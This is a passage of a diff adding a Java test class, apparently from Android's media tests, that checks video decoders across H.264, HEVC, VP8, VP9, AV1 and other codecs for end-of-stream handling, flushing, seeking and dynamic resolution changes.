+    @Before
+    @Override
+    public void setUp() throws Throwable {
+        super.setUp();
+        mCRC = new CRC32();
+    }
+
+    @After
+    @Override
+    public void tearDown() {
+        super.tearDown();
+    }
+
+    @Parameterized.Parameter(0)
+    public String mCodecName;
+
+    @Parameterized.Parameter(1)
+    public CodecList mCodecs;
+
+    public static Iterable<Codec> H264(CodecFactory factory) {
+        return factory.createCodecList(
+                MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                "video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                "bbb_s1_720x480_mp4_h264_mp3_2mbps_30fps_aac_lc_5ch_320kbps_48000hz.mp4");
+    }
+
+    public static Iterable<Codec> HEVC(CodecFactory factory) {
+        return factory.createCodecList(
+                MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
+                "bbb_s4_1280x720_mp4_hevc_mp31_4mbps_30fps_aac_he_stereo_80kbps_32000hz.mp4",
+                "bbb_s1_352x288_mp4_hevc_mp2_600kbps_30fps_aac_he_stereo_96kbps_48000hz.mp4");
+    }
+
+    public static Iterable<Codec> Mpeg2(CodecFactory factory) {
+        return factory.createCodecList(
+                MediaFormat.MIMETYPE_VIDEO_MPEG2,
+                "video_640x360_mp4_mpeg2_2000kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
+                "video_1280x720_mp4_mpeg2_3000kbps_30fps_aac_stereo_128kbps_48000hz.mp4");
+    }
+
+    public static Iterable<Codec> H263(CodecFactory factory) {
+        return factory.createCodecList(
+                MediaFormat.MIMETYPE_VIDEO_H263,
+                "video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
+                "video_352x288_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp");
+    }
+
+    public static Iterable<Codec> Mpeg4(CodecFactory factory) {
+        return factory.createCodecList(
+                MediaFormat.MIMETYPE_VIDEO_MPEG4,
+                "video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                "video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                "video_176x144_mp4_mpeg4_300kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    public static Iterable<Codec> VP8(CodecFactory factory) {
+        return factory.createCodecList(
+                MediaFormat.MIMETYPE_VIDEO_VP8,
+                "video_480x360_webm_vp8_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
+                "bbb_s3_1280x720_webm_vp8_8mbps_60fps_opus_6ch_384kbps_48000hz.webm",
+                "bbb_s1_320x180_webm_vp8_800kbps_30fps_opus_5ch_320kbps_48000hz.webm");
+    }
+
+    public static Iterable<Codec> VP9(CodecFactory factory) {
+        return factory.createCodecList(
+                MediaFormat.MIMETYPE_VIDEO_VP9,
+                "video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
+                "bbb_s4_1280x720_webm_vp9_0p31_4mbps_30fps_opus_stereo_128kbps_48000hz.webm",
+                "bbb_s1_320x180_webm_vp9_0p11_600kbps_30fps_vorbis_mono_64kbps_48000hz.webm");
+    }
+
+    public static Iterable<Codec> AV1(CodecFactory factory) {
+        return factory.createCodecList(
+                MediaFormat.MIMETYPE_VIDEO_AV1,
+                "video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                "video_1280x720_webm_av1_2000kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                "video_320x180_webm_av1_200kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    static CodecFactory ALL = new CodecFactory();
+    static CodecFactory SW  = new SWCodecFactory();
+    static CodecFactory HW  = new HWCodecFactory();
+
+    public static Iterable<Codec> H264()  { return H264(ALL);  }
+    public static Iterable<Codec> HEVC()  { return HEVC(ALL);  }
+    public static Iterable<Codec> VP8()   { return VP8(ALL);   }
+    public static Iterable<Codec> VP9()   { return VP9(ALL);   }
+    public static Iterable<Codec> AV1()   { return AV1(ALL);   }
+    public static Iterable<Codec> Mpeg2() { return Mpeg2(ALL); }
+    public static Iterable<Codec> Mpeg4() { return Mpeg4(ALL); }
+    public static Iterable<Codec> H263()  { return H263(ALL);  }
+
+    public Iterable<Codec> AllCodecs() {
+        return chain(H264(ALL), HEVC(ALL), VP8(ALL), VP9(ALL), AV1(ALL), Mpeg2(ALL), Mpeg4(ALL), H263(ALL));
+    }
+
+    public Iterable<Codec> SWCodecs() {
+        return chain(H264(SW), HEVC(SW), VP8(SW), VP9(SW), AV1(SW), Mpeg2(SW), Mpeg4(SW), H263(SW));
+    }
+
+    public Iterable<Codec> HWCodecs() {
+        return chain(H264(HW), HEVC(HW), VP8(HW), VP9(HW), AV1(HW), Mpeg2(HW), Mpeg4(HW), H263(HW));
+    }
+
+    /* tests for adaptive codecs */
+    MediaTest adaptiveEarlyEos     = new EarlyEosTest().adaptive();
+    MediaTest adaptiveEosFlushSeek = new EosFlushSeekTest().adaptive();
+    MediaTest adaptiveSkipAhead    = new AdaptiveSkipTest(true /* forward */);
+    MediaTest adaptiveSkipBack     = new AdaptiveSkipTest(false /* forward */);
+
+    /* DRC tests for adaptive codecs */
+    MediaTest adaptiveReconfigDrc      = new ReconfigDrcTest().adaptive();
+    MediaTest adaptiveSmallReconfigDrc = new ReconfigDrcTest().adaptiveSmall();
+    MediaTest adaptiveDrc      = new AdaptiveDrcTest(); /* adaptive */
+    MediaTest adaptiveSmallDrc = new AdaptiveDrcTest().adaptiveSmall();
+
+    /* tests for regular codecs */
+    MediaTest earlyEos          = new EarlyEosTest();
+    MediaTest eosFlushSeek      = new EosFlushSeekTest();
+    MediaTest flushConfigureDrc = new ReconfigDrcTest();
+
+    MediaTest[] allTests = {
+        adaptiveEarlyEos,
+        adaptiveEosFlushSeek,
+        adaptiveSkipAhead,
+        adaptiveSkipBack,
+        adaptiveReconfigDrc,
+        adaptiveSmallReconfigDrc,
+        adaptiveDrc,
+        adaptiveSmallDrc,
+        earlyEos,
+        eosFlushSeek,
+        flushConfigureDrc,
+    };
+
+    /* helpers to run sets of tests */
+    public void runEOS() { ex(AllCodecs(), new MediaTest[] {
+        adaptiveEarlyEos,
+        adaptiveEosFlushSeek,
+        adaptiveReconfigDrc,
+        adaptiveSmallReconfigDrc,
+        earlyEos,
+        eosFlushSeek,
+        flushConfigureDrc,
+    }); }
+
+    public void runAll() { ex(AllCodecs(), allTests); }
+    public void runSW()  { ex(SWCodecs(),  allTests); }
+    public void runHW()  { ex(HWCodecs(),  allTests); }
+
+    public void verifyAll() { verify = true; try { runAll(); } finally { verify = false; } }
+    public void verifySW()  { verify = true; try { runSW();  } finally { verify = false; } }
+    public void verifyHW()  { verify = true; try { runHW();  } finally { verify = false; } }
+
+    public void runH264()  { ex(H264(),  allTests); }
+    public void runHEVC()  { ex(HEVC(),  allTests); }
+    public void runVP8()   { ex(VP8(),   allTests); }
+    public void runVP9()   { ex(VP9(),   allTests); }
+    public void runAV1()   { ex(AV1(),   allTests); }
+    public void runMpeg2() { ex(Mpeg2(), allTests); }
+    public void runMpeg4() { ex(Mpeg4(), allTests); }
+    public void runH263()  { ex(H263(),  allTests); }
+
+    public void onlyH264HW()  { ex(H264(HW),  allTests); }
+    public void onlyHEVCHW()  { ex(HEVC(HW),  allTests); }
+    public void onlyVP8HW()   { ex(VP8(HW),   allTests); }
+    public void onlyVP9HW()   { ex(VP9(HW),   allTests); }
+    public void onlyAV1HW()   { ex(AV1(HW),   allTests); }
+    public void onlyMpeg2HW() { ex(Mpeg2(HW), allTests); }
+    public void onlyMpeg4HW() { ex(Mpeg4(HW), allTests); }
+    public void onlyH263HW()  { ex(H263(HW),  allTests); }
+
+    public void onlyH264SW()  { ex(H264(SW),  allTests); }
+    public void onlyHEVCSW()  { ex(HEVC(SW),  allTests); }
+    public void onlyVP8SW()   { ex(VP8(SW),   allTests); }
+    public void onlyVP9SW()   { ex(VP9(SW),   allTests); }
+    public void onlyAV1SW()   { ex(AV1(SW),   allTests); }
+    public void onlyMpeg2SW() { ex(Mpeg2(SW), allTests); }
+    public void onlyMpeg4SW() { ex(Mpeg4(SW), allTests); }
+    public void onlyH263SW()  { ex(H263(SW),  allTests); }
+
+    public void bytebuffer() { ex(H264(SW), new EarlyEosTest().byteBuffer()); }
+    public void onlyTexture() { ex(H264(HW), new EarlyEosTest().texture()); }
+
+    static private List<Object[]> prepareParamList(List<Object> exhaustiveArgsList) {
+        final List<Object[]> argsList = new ArrayList<>();
+        for (Object arg : exhaustiveArgsList) {
+            if (arg instanceof CodecList) {
+                CodecList codecList = (CodecList)arg;
+                for (Codec codec : codecList) {
+                    if (TestArgs.shouldSkipCodec(codec.name)) {
+                        continue;
+                    }
+                    Object[] testArgs = new Object[2];
+                    testArgs[0] = codec.name;
+                    CodecList subList = new CodecList();
+                    subList.add(codec);
+                    testArgs[1] = subList;
+                    argsList.add(testArgs);
+                }
+            }
+        }
+        return argsList;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0})")
+    public static Collection<Object[]> input() {
+        final List<Object> exhaustiveArgsList = Arrays.asList(new Object[]{
+                H264(), HEVC(), VP8(), VP9(), AV1(), Mpeg2(), Mpeg4(), H263()
+        });
+        return prepareParamList(exhaustiveArgsList);
+    }
+
+    /* individual tests */
+    @Test
+    public void test_adaptiveEarlyEos() {
+        ex(mCodecs, adaptiveEarlyEos);
+    }
+
+    @Test
+    public void test_adaptiveEosFlushSeek() {
+        ex(mCodecs, adaptiveEosFlushSeek);
+    }
+
+    @Test
+    public void test_adaptiveSkipAhead() {
+        ex(mCodecs, adaptiveSkipAhead);
+    }
+
+    @Test
+    public void test_adaptiveSkipBack() {
+        ex(mCodecs, adaptiveSkipBack);
+    }
+
+    @Test
+    public void test_adaptiveReconfigDrc() {
+        ex(mCodecs, adaptiveReconfigDrc);
+    }
+
+    @Test
+    public void test_adaptiveSmallReconfigDrc() {
+        ex(mCodecs, adaptiveSmallReconfigDrc);
+    }
+
+    @Test
+    public void test_adaptiveDrc() {
+        ex(mCodecs, adaptiveDrc);
+    }
+
+    @Test
+    public void test_AdaptiveDrcEarlyEosTest() {
+        String mime = mCodecs.get(0).mediaList[0].getMime();
+        assumeFalse(mime.equals(MediaFormat.MIMETYPE_VIDEO_H263) ||
+                mime.equals(MediaFormat.MIMETYPE_VIDEO_MPEG4));
+        ex(mCodecs, new AdaptiveDrcEarlyEosTest());
+    }
+
+    @Test
+    public void test_adaptiveSmallDrc() {
+        String mime = mCodecs.get(0).mediaList[0].getMime();
+        assumeFalse(mime.equals(MediaFormat.MIMETYPE_VIDEO_H263) ||
+                mime.equals(MediaFormat.MIMETYPE_VIDEO_MPEG4));
+        ex(mCodecs, adaptiveSmallDrc);
+    }
+
+    @Test
+    public void test_earlyEos() {
+        ex(mCodecs, earlyEos);
+    }
+
+    @Test
+    public void test_eosFlushSeek() {
+        ex(mCodecs, eosFlushSeek);
+    }
+
+    @Test
+    public void test_flushConfigureDrc() {
+        ex(mCodecs, flushConfigureDrc);
+    }
+
+    /* only use unchecked exceptions to allow brief test methods */
+    private void ex(Iterable<Codec> codecList, MediaTest test) {
+        ex(codecList, new MediaTest[] { test } );
+    }
+
+    private void ex(Iterable<Codec> codecList, MediaTest[] testList) {
+        if (codecList == null) {
+            Log.i(TAG, "CodecList was empty. Skipping test.");
+            return;
+        }
+
+        TestList tests = new TestList();
+        for (Codec c : codecList) {
+            for (MediaTest test : testList) {
+                if (test.isValid(c)) {
+                    test.addTests(tests, c);
+                }
+            }
+        }
+        try {
+            tests.run();
+        } catch (Throwable t) {
+            throw new RuntimeException(t);
+        }
+    }
+
+    /* need an inner class to have access to the activity */
+    abstract class ActivityTest extends MediaTest {
+        TestSurface mNullSurface = new ActivitySurface(null);
+        protected TestSurface getSurface() {
+            if (mUseSurface) {
+                return new ActivitySurface(getActivity().getSurfaceHolder().getSurface());
+            } else if (mUseSurfaceTexture) {
+                return new DecoderSurface(1280, 720, mCRC);
+            }
+            return mNullSurface;
+        }
+    }
+
+    static final int NUM_FRAMES = 50;
+
+    /**
+     * Queue some frames with an EOS on the last one.  Test that we have decoded as many
+     * frames as we queued.  This tests the EOS handling of the codec to see if all queued
+     * (and out-of-order) frames are actually decoded and returned.
+     *
+     * Also test flushing prior to sending CSD, and immediately after sending CSD.
+     */
+    class EarlyEosTest extends ActivityTest {
+        // using bitfields to create a directed state graph that terminates at FLUSH_NEVER
+        static final int FLUSH_BEFORE_CSD = (1 << 1);
+        static final int FLUSH_AFTER_CSD = (1 << 0);
+        static final int FLUSH_NEVER = 0;
+
+        public boolean isValid(Codec c) {
+            return getFormat(c) != null;
+        }
+        public void addTests(TestList tests, final Codec c) {
+            int state = FLUSH_BEFORE_CSD;
+            for (int i = NUM_FRAMES / 2; i > 0; --i, state >>= 1) {
+                final int queuedFrames = i;
+                final int earlyFlushMode = state;
+                tests.add(
+                    new Step("testing early EOS at " + queuedFrames, this, c) {
+                        public void run() {
+                            Decoder decoder = new Decoder(c.name);
+                            try {
+                                MediaFormat fmt = stepFormat();
+                                MediaFormat configFmt = fmt;
+                                if (earlyFlushMode == FLUSH_BEFORE_CSD) {
+                                    // flush before CSD requires not submitting CSD with configure
+                                    configFmt = Media.removeCSD(fmt);
+                                }
+                                decoder.configureAndStart(configFmt, stepSurface());
+                                if (earlyFlushMode != FLUSH_NEVER) {
+                                    decoder.flush();
+                                    // We must always queue CSD after a flush that is potentially
+                                    // before we receive output format has changed.  This should
+                                    // work even after we receive the format change.
+                                    decoder.queueCSD(fmt);
+                                }
+                                int decodedFrames = -decoder.queueInputBufferRange(
+                                        stepMedia(),
+                                        0 /* startFrame */,
+                                        queuedFrames,
+                                        true /* sendEos */,
+                                        true /* waitForEos */);
+                                if (decodedFrames <= 0) {
+                                    Log.w(TAG, "Did not receive EOS -- negating frame count");
+                                }
+                                decoder.stop();
+                                if (decodedFrames != queuedFrames) {
+                                    warn("decoded " + decodedFrames + " frames out of " +
+                                            queuedFrames + " queued");
+                                }
+                            } finally {
+                                warn(decoder.getWarnings());
+                                decoder.releaseQuietly();
+                            }
+                        }
+                    });
+                if (verify) {
+                    i >>= 1;
+                }
+            }
+        }
+    }
+
+    /**
+     * Similar to EarlyEosTest, but we keep the component alive and running in between the steps.
+     * This is how seeking should be done if all frames must be outputted.  This also tests that
+     * PTS can be repeated after flush.
+     */
+    class EosFlushSeekTest extends ActivityTest {
+        Decoder mDecoder; // test state
+        public boolean isValid(Codec c) {
+            return getFormat(c) != null;
+        }
+        public void addTests(TestList tests, final Codec c) {
+            tests.add(
+                new Step("testing EOS & flush before seek - init", this, c) {
+                    public void run() {
+                        mDecoder = new Decoder(c.name);
+                        mDecoder.configureAndStart(stepFormat(), stepSurface());
+                    }});
+
+            for (int i = NUM_FRAMES; i > 0; i--) {
+                final int queuedFrames = i;
+                tests.add(
+                    new Step("testing EOS & flush before seeking after " + queuedFrames +
+                            " frames", this, c) {
+                        public void run() {
+                            int decodedFrames = -mDecoder.queueInputBufferRange(
+                                    stepMedia(),
+                                    0 /* startFrame */,
+                                    queuedFrames,
+                                    true /* sendEos */,
+                                    true /* waitForEos */);
+                            if (decodedFrames != queuedFrames) {
+                                warn("decoded " + decodedFrames + " frames out of " +
+                                        queuedFrames + " queued");
+                            }
+                            warn(mDecoder.getWarnings());
+                            mDecoder.clearWarnings();
+                            mDecoder.flush();
+                            // First run will trigger output format change exactly once,
+                            // and subsequent runs should not trigger format change.
+                            // this part of test is new for Android12
+                            if (sIsAtLeastS) {
+                                assertEquals(1, mDecoder.getOutputFormatChangeCount());
+                            }
+                        }
+                    });
+                if (verify) {
+                    i >>= 1;
+                }
+            }
+
+            tests.add(
+                new Step("testing EOS & flush before seek - finally", this, c) {
+                    public void run() {
+                        try {
+                            mDecoder.stop();
+                        } finally {
+                            mDecoder.release();
+                        }
+                    }});
+        }
+    }
+
+    /**
+     * Similar to EosFlushSeekTest, but we change the media size between the steps.
+     * This is how dynamic resolution switching can be done on codecs that do not support
+     * adaptive playback.
+     */
+    class ReconfigDrcTest extends ActivityTest {
+        Decoder mDecoder;  // test state
+        public boolean isValid(Codec c) {
+            return getFormat(c) != null && c.mediaList.length > 1;
+        }
+        public void addTests(TestList tests, final Codec c) {
+            tests.add(
+                new Step("testing DRC with reconfigure - init", this, c) {
+                    public void run() {
+                        mDecoder = new Decoder(c.name);
+                    }});
+
+            for (int i = NUM_FRAMES, ix = 0; i > 0; i--, ix++) {
+                final int queuedFrames = i;
+                final int mediaIx = ix % c.mediaList.length;
+                tests.add(
+                    new Step("testing DRC with reconfigure after " + queuedFrames + " frames",
+                            this, c, mediaIx) {
+                        public void run() {
+                            try {
+                                mDecoder.configureAndStart(stepFormat(), stepSurface());
+                                int decodedFrames = -mDecoder.queueInputBufferRange(
+                                        stepMedia(),
+                                        0 /* startFrame */,
+                                        queuedFrames,
+                                        true /* sendEos */,
+                                        true /* waitForEos */);
+                                if (decodedFrames != queuedFrames) {
+                                    warn("decoded " + decodedFrames + " frames out of " +
+                                            queuedFrames + " queued");
+                                }
+                                warn(mDecoder.getWarnings());
+                                mDecoder.clearWarnings();
+                                mDecoder.flush();
+                            } finally {
+                                mDecoder.stop();
+                            }
+                        }
+                    });
+                if (verify) {
+                    i >>= 1;
+                }
+            }
+            tests.add(
+                new Step("testing DRC with reconfigure - finally", this, c) {
+                    public void run() {
+                        mDecoder.release();
+                    }});
+        }
+    }
+
+    /* ADAPTIVE-ONLY TESTS - only run on codecs that support adaptive playback */
+
+    /**
+     * Test dynamic resolution change support.  Queue various sized media segments
+     * with different resolutions, verify that all queued frames were decoded.  Here
+     * PTS will grow between segments.
+     */
+    class AdaptiveDrcTest extends ActivityTest {
+        Decoder mDecoder;
+        int mAdjustTimeUs;
+        int mDecodedFrames;
+        int mQueuedFrames;
+
+        public AdaptiveDrcTest() {
+            super();
+            adaptive();
+        }
+        public boolean isValid(Codec c) {
+            checkAdaptiveFormat();
+            return c.adaptive && c.mediaList.length > 1;
+        }
+        public void addTests(TestList tests, final Codec c) {
+            tests.add(
+                new Step("testing DRC with no reconfigure - init", this, c) {
+                    public void run() throws Throwable {
+                        // FIXME wait 2 seconds to allow system to free up previous codecs
+                        try {
+                            Thread.sleep(2000);
+                        } catch (InterruptedException e) {}
+                        mDecoder = new Decoder(c.name);
+                        mDecoder.configureAndStart(stepFormat(), stepSurface());
+                        mAdjustTimeUs = 0;
+                        mDecodedFrames = 0;
+                        mQueuedFrames = 0;
+                    }});
+
+            for (int i = NUM_FRAMES, ix = 0; i >= MIN_FRAMES_BEFORE_DRC; i--, ix++) {
+                final int mediaIx = ix % c.mediaList.length;
+                final int segmentSize = i;
+                tests.add(
+                    new Step("testing DRC with no reconfigure after " + i + " frames",
+                            this, c, mediaIx) {
+                        public void run() throws Throwable {
+                            mQueuedFrames += segmentSize;
+                            boolean lastSequence = segmentSize == MIN_FRAMES_BEFORE_DRC;
+                            if (verify) {
+                                lastSequence = (segmentSize >> 1) <= MIN_FRAMES_BEFORE_DRC;
+                            }
+                            int frames = mDecoder.queueInputBufferRange(
+                                    stepMedia(),
+                                    0 /* startFrame */,
+                                    segmentSize,
+                                    lastSequence /* sendEos */,
+                                    lastSequence /* expectEos */,
+                                    mAdjustTimeUs,
+                                    // Try sleeping after first queue so that we can verify
+                                    // output format change event happens at the right time.
+                                    true /* sleepAfterFirstQueue */);
+                            if (lastSequence && frames >= 0) {
+                                warn("did not receive EOS, received " + frames + " frames");
+                            } else if (!lastSequence && frames < 0) {
+                                warn("received EOS, received " + (-frames) + " frames");
+                            }
+                            warn(mDecoder.getWarnings());
+                            mDecoder.clearWarnings();
+
+                            mDecodedFrames += Math.abs(frames);
+                            mAdjustTimeUs += 1 + stepMedia().getTimestampRangeValue(
+                                    0, segmentSize, Media.RANGE_END);
+                        }});
+                if (verify) {
+                    i >>= 1;
+                }
+            }
+            tests.add(
+                new Step("testing DRC with no reconfigure - init", this, c) {
+                    public void run() throws Throwable {
+                        if (mDecodedFrames != mQueuedFrames) {
+                            warn("decoded " + mDecodedFrames + " frames out of " +
+                                    mQueuedFrames + " queued");
+                        }
+                        try {
+                            mDecoder.stop();
+                        } finally {
+                            mDecoder.release();
+                        }
+                    }
+                });
+        }
+    };
+
+    /**
+     * Queue EOS shortly after a dynamic resolution change.  Test that all frames were
+     * decoded.
+     */
+    class AdaptiveDrcEarlyEosTest extends ActivityTest {
+        public AdaptiveDrcEarlyEosTest() {
+            super();
+            adaptive();
+        }
+        public boolean isValid(Codec c) {
+            checkAdaptiveFormat();
+            return c.adaptive && c.mediaList.length > 1;
+        }
+        public Step testStep(final Codec c, final int framesBeforeDrc,
+                final int framesBeforeEos) {
+            return new Step("testing DRC with no reconfigure after " + framesBeforeDrc +
+                    " frames and subsequent EOS after " + framesBeforeEos + " frames",
+                    this, c) {
+                public void run() throws Throwable {
+                    Decoder decoder = new Decoder(c.name);
+                    int queuedFrames = framesBeforeDrc + framesBeforeEos;
+                    int framesA = 0;
+                    int framesB = 0;
+                    try {
+                        decoder.configureAndStart(stepFormat(), stepSurface());
+                        Media media = c.mediaList[0];
+
+                        framesA = decoder.queueInputBufferRange(
+                                media,
+                                0 /* startFrame */,
+                                framesBeforeDrc,
+                                false /* sendEos */,
+                                false /* expectEos */);
+                        if (framesA < 0) {
+                            warn("received unexpected EOS, received " + (-framesA) + " frames");
+                        }
+                        long adjustTimeUs = 1 + media.getTimestampRangeValue(
+                                0, framesBeforeDrc, Media.RANGE_END);
+
+                        media = c.mediaList[1];
+                        framesB = decoder.queueInputBufferRange(
+                                media,
+                                0 /* startFrame */,
+                                framesBeforeEos,
+                                true /* sendEos */,
+                                true /* expectEos */,
+                                adjustTimeUs,
+                                false /* sleepAfterFirstQueue */);
+                        if (framesB >= 0) {
+                            warn("did not receive EOS, received " + (-framesB) + " frames");
+                        }
+                        decoder.stop();
+                        warn(decoder.getWarnings());
+                    } finally {
+                        int decodedFrames = Math.abs(framesA) + Math.abs(framesB);
+                        if (decodedFrames != queuedFrames) {
+                            warn("decoded " + decodedFrames + " frames out of " + queuedFrames +
+                                    " queued");
+                        }
+                        decoder.release();
+                    }
+                }
+            };
+        }
+        public void addTests(TestList tests, Codec c) {
+            for (int drcFrame = 6; drcFrame >= MIN_FRAMES_BEFORE_DRC; drcFrame--) {
+                for (int eosFrame = 6; eosFrame >= 1; eosFrame--) {
+                    tests.add(testStep(c, drcFrame, eosFrame));
+                }
+            }
+        }
+    };
+
+    /**
+     * Similar to AdaptiveDrcTest, but tests that PTS can change at adaptive boundaries both
+     * forward and backward without the need to flush.
+     */
+    class AdaptiveSkipTest extends ActivityTest {
+        boolean forward;
+        public AdaptiveSkipTest(boolean fwd) {
+            forward = fwd;
+            adaptive();
+        }
+        public boolean isValid(Codec c) {
+            checkAdaptiveFormat();
+            return c.adaptive;
+        }
+        Decoder mDecoder;
+        int mAdjustTimeUs = 0;
+        int mDecodedFrames = 0;
+        int mQueuedFrames = 0;
+        public void addTests(TestList tests, final Codec c) {
+            tests.add(
+                new Step("testing flushless skipping - init", this, c) {
+                    public void run() throws Throwable {
+                        mDecoder = new Decoder(c.name);
+                        mDecoder.configureAndStart(stepFormat(), stepSurface());
+                        mAdjustTimeUs = 0;
+                        mDecodedFrames = 0;
+                        mQueuedFrames = 0;
+                    }});
+
+            for (int i = 2, ix = 0; i <= NUM_FRAMES; i++, ix++) {
+                final int mediaIx = ix % c.mediaList.length;
+                final int segmentSize = i;
+                final boolean lastSequence;
+                if (verify) {
+                    lastSequence = (segmentSize << 1) + 1 > NUM_FRAMES;
+                } else {
+                    lastSequence = segmentSize >= NUM_FRAMES;
+                }
+                tests.add(
+                    new Step("testing flushless skipping " + (forward ? "forward" : "backward") +
+                            " after " + i + " frames", this, c) {
+                        public void run() throws Throwable {
+                            int frames = mDecoder.queueInputBufferRange(
+                                stepMedia(),
+                                0 /* startFrame */,
+                                segmentSize,
+                                lastSequence /* sendEos */,
+                                lastSequence /* expectEos */,
+                                mAdjustTimeUs,
+                                false /* sleepAfterFirstQueue */);
+                            if (lastSequence && frames >= 0) {
+                                warn("did not receive EOS, received " + frames + " frames");
+                            } else if (!lastSequence && frames < 0) {
+                                warn("received unexpected EOS, received " + (-frames) + " frames");
+                            }
+                            warn(mDecoder.getWarnings());
+                            mDecoder.clearWarnings();
+
+                            mQueuedFrames += segmentSize;
+                            mDecodedFrames += Math.abs(frames);
+                            if (forward) {
+                                mAdjustTimeUs += 10000000 + stepMedia().getTimestampRangeValue(
+                                        0, segmentSize, Media.RANGE_DURATION);
+                            }
+                        }});
+                if (verify) {
+                    i <<= 1;
+                }
+            }
+
+            tests.add(
+                new Step("testing flushless skipping - finally", this, c) {
+                    public void run() throws Throwable {
+                        if (mDecodedFrames != mQueuedFrames) {
+                            warn("decoded " + mDecodedFrames + " frames out of " + mQueuedFrames +
+                                    " queued");
+                        }
+                        try {
+                            mDecoder.stop();
+                        } finally {
+                            mDecoder.release();
+                        }
+                    }});
+        }
+    };
+
+    // not yet used
+    static long checksum(ByteBuffer buf, int size, CRC32 crc) {
+        assertTrue(size >= 0);
+        assertTrue(size <= buf.capacity());
+        crc.reset();
+        if (buf.hasArray()) {
+            crc.update(buf.array(), buf.arrayOffset(), size);
+        } else {
+           int pos = buf.position();
+           buf.rewind();
+           final int rdsize = Math.min(4096, size);
+           byte[] bb = new byte[rdsize];
+           int chk;
+           for (int i = 0; i < size; i += chk) {
+                chk = Math.min(rdsize, size - i);
+                buf.get(bb, 0, chk);
+                crc.update(bb, 0, chk);
+            }
+            buf.position(pos);
+        }
+        return crc.getValue();
+    }
+
+    /* ====================================================================== */
+    /*                              UTILITY FUNCTIONS                         */
+    /* ====================================================================== */
+    static String byteBufferToString(ByteBuffer buf, int start, int len) {
+        int oldPosition = buf.position();
+        buf.position(start);
+        int strlen = 2; // {}
+        boolean ellipsis = len < buf.limit();
+        if (ellipsis) {
+            strlen += 3; // ...
+        } else {
+            len = buf.limit();
+        }
+        strlen += 3 * len - (len > 0 ? 1 : 0); // XX,XX
+        char[] res = new char[strlen];
+        res[0] = '{';
+        res[strlen - 1] = '}';
+        if (ellipsis) {
+            res[strlen - 2] = res[strlen - 3] = res[strlen - 4] = '.';
+        }
+        for (int i = 1; i < len; i++) {
+            res[i * 3] = ',';
+        }
+        for (int i = 0; i < len; i++) {
+            byte b = buf.get();
+            int d = (b >> 4) & 15;
+            res[i * 3 + 1] = (char)(d + (d > 9 ? 'a' - 10 : '0'));
+            d = (b & 15);
+            res[i * 3 + 2] = (char)(d + (d > 9 ? 'a' - 10 : '0'));
+        }
+        buf.position(oldPosition);
+        return new String(res);
+    }
+
+    static <E> Iterable<E> chain(Iterable<E> ... iterables) {
+        /* simple chainer using ArrayList */
+        ArrayList<E> items = new ArrayList<E>();
+        for (Iterable<E> it: iterables) {
+            for (E el: it) {
+                items.add(el);
+            }
+        }
+        return items;
+    }
+
+    class Decoder implements MediaCodec.OnFrameRenderedListener {
+        private final static String TAG = "AdaptiveDecoder";
+        final long kTimeOutUs = 5000;
+        final long kCSDTimeOutUs = 1000000;
+        MediaCodec mCodec;
+        ByteBuffer[] mInputBuffers;
+        ByteBuffer[] mOutputBuffers;
+        TestSurface mSurface;
+        boolean mDoChecksum;
+        boolean mQueuedEos;
+        ArrayList<Long> mTimeStamps;
+        // We might add items when iterating mWarnings.
+        // Use CopyOnWrieArrayList to avoid ConcurrentModificationException.
+        CopyOnWriteArrayList<String> mWarnings;
+        Vector<Long> mRenderedTimeStamps; // using Vector as it is implicitly synchronized
+        long mLastRenderNanoTime;
+        int mFramesNotifiedRendered;
+        // True iff previous dequeue request returned INFO_OUTPUT_FORMAT_CHANGED.
+        boolean mOutputFormatChanged;
+        // Number of output format change event
+        int mOutputFormatChangeCount;
+        // Save the timestamps of the first frame of each sequence.
+        // Note: this is the only time output format change could happen.
+        ArrayList<Long> mFirstQueueTimestamps;
+
+        public Decoder(String codecName) {
+            MediaCodec codec = null;
+            try {
+                codec = MediaCodec.createByCodecName(codecName);
+            } catch (Exception e) {
+                throw new RuntimeException("couldn't create codec " + codecName, e);
+            }
+            Log.i(TAG, "using codec: " + codec.getName());
+            mCodec = codec;
+            mDoChecksum = false;
+            mQueuedEos = false;
+            mTimeStamps = new ArrayList<Long>();
+            mWarnings = new CopyOnWriteArrayList<String>();
+            mRenderedTimeStamps = new Vector<Long>();
+            mLastRenderNanoTime = System.nanoTime();
+            mFramesNotifiedRendered = 0;
+            mOutputFormatChanged = false;
+            mOutputFormatChangeCount = 0;
+            mFirstQueueTimestamps = new ArrayList<Long>();
+
+            codec.setOnFrameRenderedListener(this, null);
+        }
+
+        public void onFrameRendered(MediaCodec codec, long presentationTimeUs, long nanoTime) {
+            final long NSECS_IN_1SEC = 1000000000;
+            if (!mRenderedTimeStamps.remove(presentationTimeUs)) {
+                warn("invalid (rendered) timestamp " + presentationTimeUs + ", rendered " +
+                        mRenderedTimeStamps);
+            }
+            assert nanoTime > mLastRenderNanoTime;
+            mLastRenderNanoTime = nanoTime;
+            ++mFramesNotifiedRendered;
+            assert nanoTime > System.nanoTime() - NSECS_IN_1SEC;
+        }
+
+        public String getName() {
+            return mCodec.getName();
+        }
+
+        public Iterable<String> getWarnings() {
+            return mWarnings;
+        }
+
+        private void warn(String warning) {
+            mWarnings.add(warning);
+            Log.w(TAG, warning);
+        }
+
+        public void clearWarnings() {
+            mWarnings.clear();
+        }
+
+        public int getOutputFormatChangeCount() {
+            return mOutputFormatChangeCount;
+        }
